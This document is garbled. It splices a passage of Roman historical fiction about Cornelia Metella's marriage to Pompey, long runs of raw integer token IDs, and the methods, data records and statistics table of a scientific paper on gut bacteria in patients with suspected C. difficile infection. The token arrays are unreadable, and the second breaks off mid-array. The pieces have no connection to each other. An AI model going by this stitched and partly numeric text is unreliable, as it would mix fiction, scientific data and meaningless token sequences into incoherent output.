Marcus Licinius Crassus. Then Crassus and her husband had set out to invade the Kingdom of the Parthians, and perished at Carrhae. The widowed Cornelia Metella had become a political pawn, for Pompey was widowed too, the death of Caesar's Julia slipping rapidly into the past. So the boni, including Cato, had plotted to detach Pompey the Great from Caesar; the only way, they felt, to pull Pompey on to the boni side was to give him Cornelia Metella as his new wife. Extremely sensitive about his own obscure origins (Picentine, but with the awful stigma of Gaul added to that), Pompey always married women of the highest nobility. And who was higher than Cornelia Metella? A descendant of Scipio Africanus and Aemilius Paullus, no less. Perfect for boni purposes! The scheme had worked. His gratitude patent, Pompey had espoused her eagerly, and became, if not one of the boni, at least their close ally. In Rome she had continued as she began, insufferably proud, cool if not downright cold, clearly regarding herself as her father's sacrificial animal. Marriage to a Pompeius from Picenum was a shocking comedown, even if this particular Pompeius was the First Man in Rome. He just didn't have the blood, so Cornelia Met
[ 582, 29928, 21821, 3383, 615, 4762, 64, 1020, 620, 1746, 582, 3686, 407, 7368, 1979, 285, 5386, 34791, 790, 3383, 15227, 44678, 907, 481, 24083, 13, 24417, 8484, 497, 29102, 387, 10694, 6, 3425, 6489, 970, 19226, 20756, 3383, 24670, 64, 302, 316, 582, 534, 3797, 475, 615, 17590, 11, 19114, 3525, 8570, 15, 9157, 13, 19114, 6555, 6430, 497, 5176, 970, 530, 2775, 10650, 3951, 67, 1797, 3725, 2908, 275, 3694, 5522, 19226, 20756, 342, 3806, 4438, 3383, 976, 553, 64, 709, 10, 1411, 28613, 3724, 18784, 292, 1010, 64, 2693, 6620, 15, 7957, 66, 3951, 67, 1423, 8562, 1876, 3290, 14, 45407, 6430, 497, 18301, 281, 19114, 3525, 14, 4924, 24417, 8484, 285, 271, 24417, 54, 2829, 369, 3562, 970, 19226, 20756, 3383, 316, 3849, 64, 14456, 481, 13662, 22255, 9162, 273, 253, 5055, 3806, 6430, 313, 2415, 8484, 10, 369, 2684, 342, 475, 19783, 64, 28704, 64, 9292, 13646, 64, 31421, 15, 4789, 11, 1411, 322, 3077, 16568, 322, 6971, 5447, 3727, 15567, 15, 18, 3951, 67, 1508, 8562, 9052, 83, 12003, 5028, 24417, 8484, 13, 10410, 4488, 9346, 13, 285, 440, 39651, 24417, 8484, 497, 5176, 432, 253, 10895, 407, 19693, 475, 10978, 64, 302, 86, 64, 2420, 15, 4789, 4556, 24046, 14023, 497, 2684, 387, 253, 1072, 8957, 3184, 3434, 13, 17617, 253, 8840, 1180, 273, 6430, 407, 3632, 501, 312, 4906, 313, 740, 15, 933, 9563, 591, 3410, 481, 36983, 37175, 13, 9765, 285, 9840, 9991, 8197, 497, 3413, 970, 253, 1165, 2267, 5288, 6001, 475, 1637, 11, 2582, 11, 376, 709, 1913, 39467, 4789, 4556, 8758, 14, 10994, 23964, 37613, 13642, 313, 18971, 5942, 10, 285, 7605, 5216, 497, 2684, 342, 253, 30622, 5522, 3951, 67, 1348, 3725, 275, 416, 3951, 67, 1099, 8562, 187, 187, 3233, 15648, 187, 7770, 187, 187, 510, 18433, 14, 423, 9563, 273, 253, 1668, 52, 30509, 3320, 12184, 497, 17063, 275, 253, 3313, 5197, 323, 34628, 8339, 313, 3233, 330, 3535, 337, 481, 380, 10895, 8414, 273, 22287, 1182, 6390, 10601, 1267, 50, 4367, 326, 497, 11742, 407, 253, 34710, 39066, 3694, 313, 15041, 25029, 582, 534, 3797, 1471, 503, 48572, 272, 285, 8570, 273, 23675, 6430, 15, 380, 24417, 54, 2829, 313, 302, 86, 64, 2420, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 89, 5200, 89, 10, 908, 323, 512, 6260, 285, 253, 3969, 8612, 24417, 54, 6430, 29102, 387, 10694, 6, 6380, 6489, 313, 302, 86, 64, 45997, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 7957, 66, 10, 403, 12482, 387, 3036, 18316, 15, 681, 313, 3233, 330, 3535, 374, 481, 187, 187, 31019, 474, 42519, 187, 13058, 187, 187, 23779, 273, 1668, 52, 30509, 3320, 48537, 251, 5978, 369, 6537, 407, 16725, 253, 48537, 251, 1979, 313, 36344, 28564, 1186, 12303, 10, 285, 5928, 273, 24920, 569, 327, 271, 39086, 9480, 15, 9157, 13, 4016, 313, 9343, 4884, 1293, 7646, 10, 285, 2762, 5760, 313, 1541, 4986, 3882, 273, 475, 38, 15, 14347, 11, 22886, 22, 66, 10, 497, 2684, 281, 5416, 24410, 273, 253, 7091, 25267, 15, 1916, 4796, 1896, 8477, 31306, 13, 512, 8477, 84, 497, 2684, 275, 34862, 285, 846, 23609, 24462, 1298, 303, 6062, 15, 187, 187, 31838, 21812, 187, 15765, 187, 187, 510, 24417, 54, 2829, 313, 302, 86, 64, 2420, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 89, 5200, 89, 10, 908, 323, 512, 6260, 285, 253, 3969, 8612, 24417, 54, 6430, 29102, 387, 10694, 6, 6380, 6489, 313, 302, 86, 64, 45997, 64, 3175, 43, 1322, 1671, 1229, 2082, 15, 7957, 66, 10, 403, 12482, 387, 3036, 18316, 313, 3233, 330, 3535, 374, 481, 187, 187, 14087, 8339, 187, 17863, 187, 187, 424, 2347, 281, 26542, 436, 3929, 6098, 42749, 13, 399, 15, 475, 292, 355, 5929, 39205, 10741, 7888, 273, 1073, 3298, 248, 280, 1363, 342, 25488, 273, 475, 2019, 493, 6992, 900, 1487, 2171, 38914, 11, 5066, 15, 475, 4316, 74, 15, 5128, 11, 577, 27, 1166, 520, 3583, 28076, 27, 884, 15, 43224, 16, 84, 2203, 15, 7132, 15, 17472, 313, 7132, 481, 187, 187, 424, 33983, 434, 3877, 6098, 23001, 13375, 4558, 9238, 342, 2743, 281, 26244, 3916, 275, 3863, 8115, 285, 15772, 37295, 15, 187, 187, 9227, 17724, 1712, 52, 18, 94, 187, 17863, 187, 187, 1552, 789, 369, 14597, 407, 253, 7671, 2418, 273, 20672, 32008, 2421, 13, 427, 728, 398, 1392, 348, 5114, 2706, 30675, 357, 313, 55, 56, 59, 47, 1619, 2511, 481, 844, 5717, 418, 15, 8449, 49290, 285, 353, 15, 416, 484, 16825, 323, 26604, 1907, 2684, 9412, 23943, 285, 27796, 23943, 15, 844, 5717, 253, 1363, 285, 5875, 15986, 665, 2530, 616, 32217, 3530, 15, 187, 187, 510, 4477, 11165, 642, 11771, 4832, 6284, 15, 187, 187, 3138, 35, 24097, 3114, 5889, 387, 2021, 1268, 273, 1966, 32217, 3530, 15626, 275, 436, 1263, 4880, 187, 510, 10741, 3114, 10104, 403, 1754, 327, 15942, 43653, 3943, 313, 2415, 54, 13, 2931, 387, 10694, 6, 6380, 6489, 10, 4294, 275, 32217, 3530, 273, 7127, 1363, 342, 30709, 24838, 273, 475, 36, 15, 2171, 38914, 11, 5066, 285, 4791, 30192, 1453, 4292, 2796, 79, 13912, 2787, 481, 2596, 32217, 3410, 591, 3110, 369, 908, 285, 48537, 251, 8477, 84, 497, 2684, 275, 34862, 323, 436, 1783, 15, 43914, 13, 534, 12322, 271, 11921, 273, 2406, 685, 337, 6, 275, 253, 2862, 10895, 13, 497, 17903, 347, 7520, 29821, 15, 29666, 11921, 273, 475, 36, 15, 2171, 38914, 11, 2796, 6432, 431, 15436, 493, 6992, 1514, 2171, 38914, 11, 275, 322, 3077, 16568, 5447, 15567, 15, 18, 10, 310, 8653, 11794, 285, 12322, 4585, 14259, 281, 475, 2019, 493, 6992, 900, 1487, 2171, 38914, 11, 7372, 43138, 18687, 209, 693, 313, 11501, 279, 1180, 13874, 520, 3571, 1093, 481, 17763, 321, 1196, 273, 30709, 275, 21410, 310, 4860, 407, 5043, 313, 15325, 12322, 30709, 10, 285, 19734, 313, 2369, 30709, 582, 1543, 432, 18124, 1975, 6120, 273, 475, 36, 15, 2171, 38914, 11, 5066, 2796, 36, 15, 277, 5929, 278, 15, 246, 2698, 403, 2011, 2708, 313, 11095, 13, 14962, 5762, 323, 475, 36, 15, 2171, 38914, 25350, 19734, 13, 18123, 5762, 323, 475, 36, 15, 2171, 38914, 21292, 3327, 566, 285, 5928, 273, 475, 36, 15, 2171, 38914, 11, 275, 48537, 251, 941, 2796, 36, 15, 277, 5929, 427, 10339, 10, 403, 4860, 407, 5043, 313, 15068, 10, 285, 19734, 313, 5375, 290, 481, 5128, 5162, 285, 7091, 5657, 403, 2529, 275, 2508, 275, 253, 3082, 2593, 5774, 84, 2203, 7132, 17472, 14, 71, 18, 4253, 71, 18, 94, 187, 187, 3138, 11001, 12735, 1783, 273, 253, 10741, 3114, 432, 1966, 32217, 3530, 4880, 187, 11592, 14, 10994, 23964, 37613, 13642, 313, 18971, 5942, 10, 1754, 327, 17375, 914, 338, 8306, 3951, 67, 805, 3725, 369, 908, 281, 3148, 253, 10741, 3114, 2605, 275, 11275, 32217, 3530, 387, 1072, 12184, 3434, 313, 740, 15, 933, 9563, 591, 3410, 481, 26394, 432, 1363, 665, 12322, 30709, 387, 673, 273, 10491, 403, 2349, 833, 407, 16673, 15, 26394, 432, 1363, 326, 497, 14962, 5762, 327, 475, 36, 15, 2171, 38914, 11, 407, 18124, 1975, 1071, 403, 7101, 407, 5043, 13, 3530, 273, 1363, 835, 475, 36, 15, 2171, 38914, 11, 369, 5189, 275, 253, 48537, 251, 10895, 403, 7101, 407, 2831, 15, 11149, 1979, 6125, 253, 23165, 9991, 313, 5414, 13, 27955, 4479, 84, 1777, 1190, 15716, 399, 2095, 3951, 67, 1731, 3725, 10, 273, 253, 44027, 13, 3530, 403, 2349, 343, 31836, 407, 6442, 13794, 432, 470, 283, 740, 13, 884, 283, 1010, 13, 1458, 283, 938, 13, 285, 1384, 283, 1229, 15, 5128, 5162, 285, 7091, 5657, 403, 2529, 275, 2508, 275, 253, 3082, 2593, 15, 1876, 9765, 9991, 17082, 2797, 407, 1165, 2267, 5288, 403, 7117, 275, 544, 3235, 495, 1084, 85, 20, 910, 709, 14, 881, 568, 2420, 986, 313, 15735, 3909, 760, 17981, 84, 2203, 7132, 17472, 14, 71, 19, 4253, 71, 19, 94, 187, 187, 5146, 1668, 52, 30509, 3320, 3425, 5162, 9990, 285, 15666, 4636, 30307, 3904, 535, 50276, 424, 19352, 1416, 424, 50274, 424, 35, 3783, 4636, 30307, 424, 50275, 424, 24436, 9563, 313, 19, 89, 13, 18433, 14, 423, 4846, 50275, 424, 4553, 11031, 1277, 424, 50275, 424, 6, 2957, 424, 25416, 85, 18, 14, 4174, 18, 910, 709, 14, 881, 568, 4174, 986, 50275, 424, 4553, 1165, 39, 424, 50275, 424, 6, 2957, 424, 544, 18022, 85, 18, 14, 4174, 18, 910, 709, 14, 881, 568, 4174, 986, 50275, 424, 4553, 2891, 13646, 5806, 424, 50275, 424, 6, 2957, 424, 544, 18022, 85, 18, 14, 4174, 18, 910, 709, 14, 881, 568, 4174, 986, 187, 50276, 23380, 32703, 9625, 4372, 9625, 397, 16913, 9625, 9794, 32723, 9625, 9794, 187, 50276, 15325, 64, 2874, 50265, 43335, 47, 3071, 520, 805, 3712, 50258, 21092, 13, 29805, 50260, 20070, 13, 22029, 50254, 20, 15, 3071, 50256, 8196, 13, 39289, 50255, 1229, 15, 20, 50254, 50272, 4739, 13, 33730, 50254, 50272, 1235, 15, 19, 187, 50276, 15325, 64, 4699, 50265, 43335, 47, 3071, 520, 805, 3583, 50258, 28933, 13, 15161, 50260, 25121, 13, 27385, 50254, 20, 15, 2691, 50256, 17391, 13, 26, 2082, 50255, 1731, 15, 19, 50254, 50272, 18359, 13, 40010, 50254, 50274, 5922, 15, 17, 187, 50276, 15325, 64, 4838, 50265, 43335, 47, 3071, 520, 805, 3357, 50257, 1717, 13, 27893, 50259, 1619, 13, 29412, 50254, 20, 15, 1797, 50255, 1348, 13, 42949, 50255, 1036, 15, 20, 50254, 50272, 1508, 13, 31416, 50254, 50272, 1093, 15, 23, 187, 50276, 15325, 64, 5525, 50265, 43335, 47, 3071, 520, 805, 3439, 50257, 746, 13, 36208, 50259, 1093, 13, 39755, 50254, 21, 15, 2504, 50255, 1036, 13, 17786, 50255, 1093, 15, 22, 50254, 50272, 1047, 13, 33546, 50254, 50272, 1099, 15, 17, 187, 50276, 15325, 64, 5523, 50265, 43335, 47, 3071, 520, 805, 2417, 50257, 2357, 13, 35833, 50259, 3655, 13, 38049, 50254, 21, 15, 2504, 50255, 1549, 13, 39289, 50255, 1423, 15, 21, 50254, 50272, 3208, 13, 41309, 50254, 50272, 1731, 15, 25, 187, 50276, 15325, 64, 7174, 50265, 43335, 47, 3071, 520, 805, 3208, 50258, 14711, 13, 7749, 50260, 11124, 13, 25, 1717, 50254, 21, 15, 2504, 50255, 4529, 13, 42980, 50255, 1797, 15, 24, 50254, 50272, 3655, 13, 39855, 50254, 50272, 1787, 15, 24, 187, 50276, 15325, 64, 7931, 50265, 43335, 47, 3071, 520, 805, 3011, 50257, 3832, 13, 42047, 50259, 3011, 13, 12224, 50254, 24, 15, 3357, 50255, 2950, 13, 25289, 50255, 1099, 15, 17, 50254, 50272, 2031, 13, 24677, 50254, 50272, 1619, 15, 18, 187, 50276, 15325, 64, 8897, 50265, 43335, 47, 3071, 520, 805, 3680, 50258, 17599, 13, 22, 2759, 50260, 21092, 13, 15144, 50254, 19, 15, 2270, 50256, 9913, 13, 30452, 50255, 1047, 15, 26, 50254, 50272, 18795, 13, 19044, 50254, 50274, 655, 15, 25, 187, 50276, 15325, 64, 8972, 50265, 43335, 47, 3071, 520, 805, 3046, 50258, 15144, 13, 31362, 50260, 13210, 13, 29546, 50254, 21, 15, 1797, 50255, 3121, 13, 37258, 50255, 1787, 15, 21, 50254, 50272, 3547, 13, 29137, 50254, 50272, 1449, 15, 21, 187, 50276, 15325, 64, 9104, 50265, 43335, 47, 3071, 520, 805, 1549, 50257, 2504, 13, 31254, 50259, 1857, 13, 25, 1731, 50254, 21, 15, 2125, 50255, 1839, 13, 20373, 50255, 746, 15, 23, 50254, 50272, 1812, 13, 20207, 50254, 50272, 1348, 15, 17, 187, 50276, 15325, 64, 13925, 50265, 43335, 47, 3071, 520, 805, 3832, 50259, 18, 13, 15497, 13, 19948, 50262, 18, 13, 43771, 13, 21980, 50255, 20, 15, 1610, 50256, 26, 1797, 13, 45197, 50255, 746, 15, 17, 50254, 50272, 33120, 13, 23100, 50254, 50274, 2164, 15, 24, 187, 50276, 15325, 64, 12522, 50265, 43335, 47, 3071, 520, 805, 3763, 50257, 1717, 13, 39855, 50259, 1619, 13, 29137, 50254, 21, 15, 1423, 50255, 1508, 13, 43726, 50255, 746, 15, 20, 50254, 50272, 938, 13, 25, 1348, 50254, 50272, 1717, 15, 24, 187, 50276, 15325, 64, 13144, 50265, 43335, 47, 3071, 520, 805, 3571, 50258, 29251, 13, 10637, 50260, 41211, 13, 24, 2222, 50254, 21, 15, 2417, 50256, 37155, 13, 37493, 50255, 1797, 15, 26, 50254, 50272, 43676, 13, 21980, 50254, 50274, 1884, 15, 22, 187, 50276, 15325, 64, 11494, 50265, 43335, 47, 3071, 520, 805, 1540, 50257, 1630, 13, 25, 2270, 50259, 1731, 13, 30920, 50254, 20, 15, 3357, 50255, 1423, 13, 23, 1540, 50255, 1093, 15, 24, 50254, 50272, 1797, 13, 18950, 50254, 50272, 1508, 15, 23, 187, 50276, 15325, 64, 10496, 50265, 43335, 47 ]	), dereplicate (-derep_fulllength), sort by cluster size and remove singletons (-sortbysize). Subsequently, OTUs were clustered at 97% sequence identity using USEARCH (-cluster_otus), which includes de novo chimera removal. Additionally, chimeric sequences were removed using UCHIME^[@b21]^ included in software package USEARCH with reference mode (-uchime_ref) against RDPs trainset15_092015.fasta^[@b22]^. All quality-filtered sequences were mapped to chimera-free OTUs and an OTU table was created using USEARCH (-usearch_global). Taxonomic classification of the picked reference sequences (OTUs) was performed with parallel_assign_taxonomy_blast.py against SILVA SSU database release 123.1^[@b23]^. Extrinsic domain OTUs, chloroplasts, and unclassified OTUs were removed from the dataset by employing filter_otu_table.py. Sample comparisons were performed at the same surveying effort, utilizing the lowest number of sequences by random resampling (10.000 reads per sample). Species richness, alpha and beta diversity estimates were determined using the QIIME script alpha\_rarefaction.py. Non-metric multidimensional scaling (NMDS) and statistical tests were performed with the vegan package^[@b24]^ in R^[@b25]^. Data Records ============ The paired-end reads of the 16S rRNA gene sequencing were deposited in the National Center for Biotechnology Information (Data Citation 1). The dataset consists of 158 zipped FASTQ files that were processed by the CASAVA software (Illumina), which includes demultiplexing and removal of adapter sequences. The OTU table (otu_table_PRJNA353065.xlsx) used for all analyses and the corresponding representative OTU sequences clustered at 97% genetic identity (otu_sequences_PRJNA353065.fasta) are accessible at figshare.com (Data Citation 2). Technical Validation ==================== Success of 16S rRNA gene amplicon generation was controlled by reviewing the amplicon size (approximately 550 bp) and absence of contaminations on an agarose gel. Additionally, negative (PCR reaction without template) and positive controls (genomic DNA of E. coli DH5a) were performed to ensure purity of the employed reagents. To reduce possible PCR biases, all PCRs were performed in triplicate and after purification pooled equimolar. Usage Notes =========== The OTU table (otu_table_PRJNA353065.xlsx) used for all analyses and the corresponding representative OTU sequences clustered at 97% genetic identity (otu_sequences_PRJNA353065.fasta) are accessible at figshare (Data Citation 2). Additional Information ====================== How to cite this article: Schneider, D. et al. Gut bacterial communities of diarrheic patients with indications of Clostridioides difficile infection. Sci. Data 4:170152 doi: 10.1038/sdata.2017.152 (2017). Publisher's note: Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations. Supplementary Material {#S1} ====================== This work was funded by the Federal State of Lower Saxony, Niedersächsisches Vorab (VWZN2889). We thank L. von Müller and M. Rupnik for kindly having performed ribotyping and toxinotyping. We thank the patients and healthy volunteers who provided their stool samples. The authors declare no competing financial interests. ![Bacterial community composition at family level of human stool samples analysed in this study.\ The bacterial community profiles are based on operational taxonomic unit (OTU, defined at 97% genetic identity) frequency in stool samples of 44 patients with diarrhea indicative of C. difficile infection and 35 asymptomatic control individuals (n=79). One stool sample per patient was used and amplicon PCRs were performed in triplicate for this analysis. Families, which exhibited an abundance of lower than 1% in the entire dataset, were summarized as rare taxa. Relative abundance of C. difficile (Peptoclostridium difficile in SILVA database 123.1) is displayed separately and exhibited highest similarity to Clostridioides difficile strain 630 delta erm (Accession number CP016318). Occurrence of diarrhea in patents is indicated by plus (patient exhibited diarrhea) and minus (no diarrhea), results from microbiological diagnosis of C. difficile infection (C. d. m. t.) are shown below (plus, positively tested for C. difficile; minus, negatively tested for C. difficile). Presence and absence of C. difficile in amplicon data (C. d. NGS) are indicated by plus (present) and minus (absent). Data processing and employed tools are described in detail in the methods section.](sdata2017152-f1){#f1} ![Multivariate analysis of the bacterial community from human stool samples.\ Non-metric multidimensional scaling (NMDS) based on weighted Unifrac^[@b12]^ was used to display the bacterial community structure in 79 stool samples at same sequencing effort (10.000 reads per sample). Samples from patients who exhibited diarrhea at time of sampling are encased by diamond. Samples from patients that were positively tested on C. difficile by microbiological test are marked by plus, samples of patients where C. difficile was detected in the amplicon dataset are marked by cross. Point size represents the phylogenetic diversity (PD, Faith\'s Phylogenetic Diversity^[@b26]^) of the microbiome, samples are encircled by PD ranges from 0--10, 10--15, 15--20, and 20--30. Data processing and employed tools are described in detail in the methods section. All alpha diversity metrics obtained by QIIME are listed in [Table 3](#t3){ref-type="table"} (available online only).](sdata2017152-f2){#f2} ###### 16S rRNA gene sequence processing statistics and biosample accession numbers Sample name Biosample accession Raw reads (2x, paired-end) After PEAR % loss[\](#t1-fn1){ref-type="fn"} After QF* % loss [\](#t1-fn1){ref-type="fn"} After taxonomy filter* % loss [\*](#t1-fn1){ref-type="fn"} ----------------- ------------------------- -------------------------------- ---------------- ---------------------------------------- -------------- ----------------------------------------- --------------------------- ----------------------------------------- patient_001 SAMN06011251 183,885 178,258 3.06 128,097 30.3 91,562 50.2 patient_002 SAMN06011252 283,254 272,331 3.86 208,965 26.2 189,871 33.0 patient_003 SAMN06011253 29,313 28,372 3.21 24,528 16.3 23,857 18.6 patient_004 SAMN06011254 19,854 18,967 4.47 16,185 18.5 14,889 25.0 patient_005 SAMN06011255 77,418 73,960 4.47 60,097 22.4 56,675 26.8 patient_006 SAMN06011256 118,110 112,829 4.47 92,535 21.7 73,601 37.7 patient_007 SAMN06011257 61,760 57,107 7.53 46,348 25.0 44,385 28.1 patient_008 SAMN06011258 188,584 183,121 2.90 160,489 14.9 151,302 19.8 patient_009 SAMN06011259 121,488 116,373 4.21 76,062 37.4 72,353 40.4 patient_010 SAMN06011260 47,754 45,826 4.04 38,386 19.6 36,312 24.0 patient_011 SAMN06011261 1,137,384 1,099,480 3.33 921,087 19.0 856,364 24.7 patient_012 SAMN06011262 29,601 28,353 4.22 23,893 19.3 20,824 29.7 patient_013 SAMN06011263 603,255 575,795 4.55 470,894 21.9 419,480 30.5 patient_014 SAMN06011264 27,890 26,906 3.53 22,664 18.7 21,306 23.6 patient_015 SAMN
[ 2302, 937, 753, 2305, 15, 20931, 292, 15, 346, 1989, 352, 588, 417, 8513, 323, 779, 281, 4089, 253, 4454, 285, 923, 253, 7437, 15, 309, 3053, 31479, 3847, 436, 1039, 13, 285, 347, 309, 6983, 13, 17064, 7068, 753, 703, 3260, 2217, 407, 253, 673, 703, 369, 2620, 281, 10073, 779, 275, 18019, 368, 449, 187, 187, 3, 24804, 15, 309, 369, 3240, 17847, 407, 617, 9260, 326, 1388, 15, 496, 958, 13, 352, 369, 326, 4839, 4804, 534, 3977, 441, 281, 253, 1652, 637, 368, 2186, 1024, 449, 187, 187, 7710, 15, 20931, 292, 2918, 1016, 5313, 598, 581, 625, 673, 285, 753, 697, 1416, 15, 329, 1652, 20008, 22336, 264, 562, 387, 253, 30605, 347, 352, 369, 2918, 275, 2914, 273, 779, 15, 346, 13924, 13, 15822, 4327, 15, 380, 1077, 2118, 326, 3198, 281, 320, 1160, 449, 2305, 15, 20931, 292, 7932, 253, 7437, 327, 253, 4450, 275, 616, 3236, 13977, 1078, 2403, 521, 2118, 15, 187, 187, 3, 1394, 403, 417, 1469, 281, 1750, 344, 2686, 3260, 534, 5313, 3058, 281, 320, 4395, 13, 403, 368, 865, 6397, 4348, 2546, 275, 21278, 8922, 15, 346, 1328, 556, 417, 2326, 253, 4450, 15, 754, 6057, 43763, 273, 253, 4803, 13, 285, 368, 2918, 326, 5313, 8003, 281, 779, 685, 253, 643, 15, 1422, 26740, 264, 521, 4743, 449, 187, 187, 3, 1328, 556, 642, 4743, 281, 26740, 15, 754, 310, 417, 1711, 2217, 281, 452, 4447, 667, 937, 851, 7551, 2305, 15, 20931, 292, 15, 187, 187, 3, 2598, 368, 403, 3413, 281, 1361, 779, 830, 352, 937, 753, 6397, 4348, 15, 346, 42, 943, 452, 1929, 368, 651, 1611, 824, 247, 2181, 449, 187, 187, 3, 40, 290, 45457, 937, 753, 12694, 347, 703, 4845, 617, 3564, 689, 617, 3347, 434, 13628, 835, 344, 2242, 275, 521, 21507, 434, 6174, 15, 346, 42, 588, 46107, 1581, 368, 281, 22065, 619, 1429, 281, 1142, 8205, 953, 13, 533, 16425, 689, 14916, 8213, 310, 417, 581, 273, 731, 15, 3954, 13, 604, 368, 5730, 281, 4035, 634, 2165, 342, 20931, 292, 275, 21250, 13, 309, 1804, 368, 22907, 634, 19456, 650, 360, 1559, 723, 449, 187, 187, 2993, 7808, 5176, 617, 3564, 432, 253, 6858, 434, 13628, 13, 285, 15606, 731, 327, 617, 29434, 13, 703, 3534, 617, 3392, 247, 5882, 25885, 15, 346, 1898, 642, 625, 2245, 449, 187, 187, 3, 1147, 369, 760, 247, 9075, 449, 4058, 3392, 753, 22112, 15, 187, 187, 2993, 5439, 247, 6479, 275, 5691, 15, 187, 187, 3, 17534, 973, 13, 642, 625, 2245, 449, 329, 8580, 4447, 327, 521, 11233, 15, 346, 42, 588, 7356, 281, 7138, 90, 285, 8995, 449, 187, 187, 3, 1898, 359, 3091, 417, 9059, 937, 19114, 264, 275, 6397, 4348, 15, 346, 1231, 3091, 760, 8881, 449, 187, 187, 45150, 11898, 617, 1481, 285, 21374, 15, 346, 1394, 403, 5050, 10389, 917, 449, 20931, 292, 3053, 281, 39866, 285, 1614, 281, 1089, 253, 2603, 273, 521, 3101, 434, 4318, 15, 187, 187, 45150, 2335, 779, 432, 617, 3392, 285, 3802, 18050, 1070, 779, 2810, 15, 1500, 3260, 690, 275, 5948, 651, 45688, 617, 323, 1146, 824, 247, 277, 5341, 278, 2902, 285, 417, 20252, 247, 9685, 15339, 13, 533, 841, 18153, 9506, 497, 594, 7771, 8211, 15, 754, 369, 5675, 594, 4541, 15, 187, 187, 3, 42, 3091, 452, 368, 871, 326, 604, 3780, 310, 1469, 281, 1361, 619, 3347, 830, 521, 11626, 13, 352, 588, 320, 521, 3101, 15, 754, 3091, 871, 849, 281, 2968, 342, 253, 13052, 273, 368, 449, 1500, 12918, 347, 253, 767, 24173, 50206, 15, 346, 11778, 368, 2783, 326, 344, 310, 247, 20931, 292, 285, 247, 11128, 951, 285, 13, 3103, 13, 247, 24103, 88, 3370, 312, 32, 2726, 824, 247, 23009, 285, 824, 23374, 17772, 13, 344, 3091, 452, 642, 4500, 533, 281, 320, 247, 2323, 449, 187, 187, 3, 5088, 13, 2032, 937, 753, 6397, 4348, 347, 344, 4845, 521, 9881, 327, 247, 5313, 281, 320, 4395, 15, 187, 187, 45150, 16481, 617, 13386, 285, 11898, 617, 1481, 15, 754, 4395, 521, 1133, 281, 247, 1027, 5313, 13, 285, 703, 11373, 15, 187, 187, 3, 18869, 43286, 90, 15, 10300, 281, 619, 9054, 387, 253, 1133, 273, 619, 1211, 6122, 937, 26750, 617, 3392, 15, 187, 187, 45150, 12918, 15, 346, 11778, 309, 1677, 368, 281, 634, 9054, 390, 452, 309, 1677, 634, 9054, 281, 368, 32, 9870, 9257, 13, 24173, 13, 253, 3761, 812, 564, 2057, 1039, 15, 309, 3091, 1091, 281, 923, 665, 310, 6306, 846, 436, 2872, 637, 310, 15792, 562, 273, 4854, 2491, 672, 253, 25019, 84, 3135, 281, 2685, 449, 187, 187, 2993, 23651, 617, 3347, 434, 1481, 15, 346, 4769, 323, 247, 1551, 2872, 637, 15, 844, 3091, 3553, 253, 24924, 1711, 1821, 281, 9059, 275, 6330, 15, 2091, 368, 403, 5662, 13, 309, 588, 9798, 368, 849, 281, 3330, 1046, 3761, 275, 534, 368, 11377, 943, 368, 594, 5730, 13, 1880, 634, 16871, 310, 634, 21507, 13, 634, 1270, 18796, 13, 390, 1014, 634, 3392, 15, 1723, 13, 627, 403, 2069, 672, 10305, 310, 625, 24400, 449, 187, 187, 7710, 15, 20931, 292, 285, 6397, 4348, 41763, 715, 759, 932, 273, 22569, 15, 187, 187, 3, 4045, 368, 9428, 344, 1014, 36683, 703, 4483, 779, 281, 3330, 865, 2546, 6397, 4348, 15, 187, 187, 95, 3853, 3853, 3853, 3853, 3853, 187, 187, 28895, 951, 13, 665, 574, 644, 6306, 816, 3345, 253, 10329, 3369, 11298, 323, 690, 2909, 13, 11373, 281, 2994, 15, 2732, 344, 574, 3735, 253, 2926, 273, 6397, 4348, 434, 806, 4804, 342, 12694, 13, 344, 574, 13, 327, 247, 1180, 273, 15530, 13, 3597, 22727, 2920, 281, 7168, 15, 733, 574, 2489, 4755, 281, 779, 347, 253, 3958, 3395, 625, 273, 247, 4933, 1977, 2581, 685, 247, 7562, 273, 7437, 326, 703, 369, 6296, 6941, 779, 281, 3330, 13, 285, 432, 253, 1007, 703, 574, 816, 6828, 2584, 779, 949, 253, 1527, 10329, 3369, 347, 703, 7560, 13, 703, 3260, 344, 369, 417, 25229, 273, 617, 12199, 272, 15, 187, 187, 1328, 3802, 6390, 581, 1390, 17514, 281, 1659, 275, 253, 11281, 344, 4824, 15, 3032, 15934, 4330, 6225, 247, 4088, 745, 7487, 2137, 1031, 15, 11128, 951, 43637, 281, 2994, 15, 2058, 1878, 13, 24942, 642, 3356, 6225, 387, 521, 9215, 347, 344, 2624, 12405, 323, 521, 4475, 15, 187, 187, 3, 4967, 513, 368, 417, 1581, 479, 281, 513, 326, 323, 368, 13, 8674, 865, 344, 651, 2223, 1642, 15, 187, 187, 3, 42, 717, 7032, 273, 16778, 12405, 13, 24942, 937, 344, 651, 12252, 15, 346, 42, 9023, 281, 513, 594, 342, 1557, 15, 1621, 2853, 3091, 320, 12615, 634, 10329, 449, 187, 187, 46587, 13, 24942, 574, 4425, 521, 6303, 858, 6296, 871, 752, 344, 369, 670, 285, 1669, 779, 281, 9580, 2761, 327, 521, 1211, 15, 11706, 13, 344, 651, 10000, 2994, 342, 789, 10151, 13, 1900, 28027, 386, 943, 521, 8385, 320, 3058, 390, 3078, 15, 187, 187, 14569, 13, 11128, 951, 4425, 253, 15934, 4330, 434, 1361, 1537, 6296, 320, 26085, 15, 346, 39, 7337, 937, 344, 1925, 15, 346, 4045, 368, 452, 247, 8781, 13, 4931, 247, 1355, 1824, 272, 476, 309, 1537, 897, 281, 2186, 841, 12405, 865, 187, 187, 510, 14370, 14, 37128, 15934, 4330, 2783, 521, 6303, 323, 247, 2774, 15, 1707, 574, 644, 1142, 8921, 9762, 275, 253, 1390, 807, 13, 533, 436, 369, 747, 15, 346, 6723, 368, 2119, 368, 5730, 271, 1711, 476, 13, 8674, 865, 187, 187, 3, 24804, 13, 309, 513, 13, 533, 247, 1355, 763, 581, 15, 4683, 2282, 13, 604, 368, 4510, 13, 309, 476, 9580, 247, 4067, 1180, 285, 897, 247, 4067, 476, 449, 11128, 951, 11373, 387, 253, 637, 3692, 2927, 8899, 3790, 342, 6987, 511, 15, 187, 187, 3, 42, 760, 16632, 281, 19148, 634, 878, 13, 8674, 15, 309, 452, 816, 253, 2181, 15, 3166, 368, 5730, 479, 281, 1659, 253, 12405, 275, 352, 323, 368, 865, 187, 187, 3, 